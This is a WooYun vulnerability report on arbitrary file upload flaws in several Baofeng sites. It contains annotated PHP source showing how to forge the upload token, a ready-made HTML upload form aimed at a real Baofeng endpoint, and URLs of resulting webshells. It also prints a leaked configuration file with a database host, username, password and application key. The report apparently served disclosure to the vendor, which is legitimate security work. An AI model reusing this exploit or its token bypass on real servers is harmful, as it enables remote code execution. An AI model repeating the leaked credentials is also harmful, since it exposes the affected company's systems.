当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154077

漏洞标题:暴风影音某站5处任意文件上传导致多站可被Getshell

相关厂商:暴风影音

漏洞作者: HackBraid

提交时间:2015-11-18 09:29

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-18: 细节已通知厂商并且等待厂商处理中
2015-11-18: 厂商已经确认,细节仅向厂商公开
2015-11-28: 细节向核心白帽子及相关领域专家公开
2015-12-08: 细节向普通白帽子公开
2015-12-18: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

详细说明:

01# 起源
svn泄露

11.png


02# 源码审计构造POC
/uploadify/uploadifyGift.php文件

<?php
$targetFolder = '/Public/uploadsGift';
$verifyToken = md5('unique_saltdoumicc' . $_POST['timestamp']);//伪造timpstamp字段为1,然后计算md5值为5980c31b4c74da6b3aa25ec99ac1dc1f绕过token限制
if (!empty($_FILES) && $_POST['token'] == $verifyToken) {
$fileext = $_FILES['Filedata']['name'];
$fileext = explode(".", $fileext);
$fileext = $fileext[1];
$newFileName = "m" . uniqid() . time(). ".".$fileext;//$fileext字段可以用x.php.txt来伪造,后面直接echo出文件名来
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $targetFolder;
$targetFile = rtrim($targetPath,'/') . '/' . $newFileName;

$fileTypes = array('txt');
$fileParts = pathinfo($_FILES['Filedata']['name']);

if (in_array($fileParts['extension'],$fileTypes)) {//这里用的extension来判断。。
move_uploaded_file($tempFile,$targetFile);
echo $newFileName;
} else {
echo '-1';
}
}
?>


另外四处上传在同级目录下:
uploadify.php
uploadifyAdver.php
uploadifyApk.php
uploadifyScreens.php

漏洞证明:

03# EXP
经过上面简单的源码分析,构造EXP如下:

<html>
<body>
<form action="http://wap.g.baofeng.com/uploadify/uploadifyGift.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" id="file" />
<br />
<input type="text" name="token" id="token" value="5980c31b4c74da6b3aa25ec99ac1dc1f" />
<br />
<input type="text" name="timestamp" id="timestamp" value="1" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


04# getshell
http://wap.g.baofeng.com/Public/uploadsGift/m5629f37eea7cd1445589886.php cc

baofeng1.png


多个站点可被getshell

baofeng.png


baifeng.png


暴风游戏论坛主站为例:
http://bbsm.g.baofeng.com/data/avatar/index.php 4

baofeng2.png


有阿里云,但是漏洞还是得补,比如说我把你配置文件下载下来:

<?php
define('UC_CONNECT', 'mysql');
define('UC_DBHOST', '10.252.215.80');
define('UC_DBUSER', 'CXsdk');
define('UC_DBPW', 'CXsdk123456');
define('UC_DBNAME', 'bf_bbsm');
define('UC_DBCHARSET', 'utf8');
define('UC_DBTABLEPRE', '`bf_bbsm`.pre_ucenter_');
define('UC_DBCONNECT', 0);
define('UC_CHARSET', 'utf-8');
define('UC_KEY', '6dM7gfz8q5o561p3r9YeK7ces0fd76mclcK882d0m8l4K4u7A55dRcXc17qd70B6');
define('UC_API', 'http://bbsm.g.baofeng.com/uc_server');
define('UC_APPID', '1');
define('UC_IP', '');
define('UC_PPP', 20);
?>


修复方案:

后缀限制

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-18 10:11

厂商回复:

感谢您提交的漏洞,我们会尽快修复。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-11-18 09:31 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1841 漏洞数:292 | HackBraid昵称的由来是一款名为Braid的游戏...)

    秒审?

  2. 2015-11-18 09:31 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1841 漏洞数:292 | HackBraid昵称的由来是一款名为Braid的游戏...)

    秒审?

  3. 2015-11-18 09:48 | 泳少 ( 普通白帽子 | Rank:233 漏洞数:81 | ★ 梦想这条路踏上了,跪着也要...)

    非常感谢你报告的漏洞,漏洞无法重现,忽略处理

  4. 2015-11-18 09:59 | 默之 ( 普通白帽子 | Rank:909 漏洞数:159 | 沉淀。)

    吊吊吊

  5. 2015-11-18 10:06 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1841 漏洞数:292 | HackBraid昵称的由来是一款名为Braid的游戏...)

    @泳少 (ಥ_ಥ)表这样,希望rank给高点,最近缺

  6. 2015-11-18 10:13 | 牛 小 帅 ( 普通白帽子 | Rank:1003 漏洞数:232 | 1.乌云最帅的男人 ...)

    @HackBraid @HackBraid 10rank 不谢

  7. 2015-11-18 10:49 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1841 漏洞数:292 | HackBraid昵称的由来是一款名为Braid的游戏...)

    @牛 小 帅 - -!

  8. 2015-11-18 11:00 | px1624 ( 普通白帽子 | Rank:1072 漏洞数:181 | px1624)

    5处

  9. 2015-11-18 11:28 | change ( 实习白帽子 | Rank:60 漏洞数:15 | 核心白帽子)

    @HackBraid 非常感谢你报告的漏洞,漏洞无法重现,忽略处理

  10. 2015-11-18 20:25 | 邪少 ( 实习白帽子 | Rank:75 漏洞数:10 | 百里长苏)

    牛逼。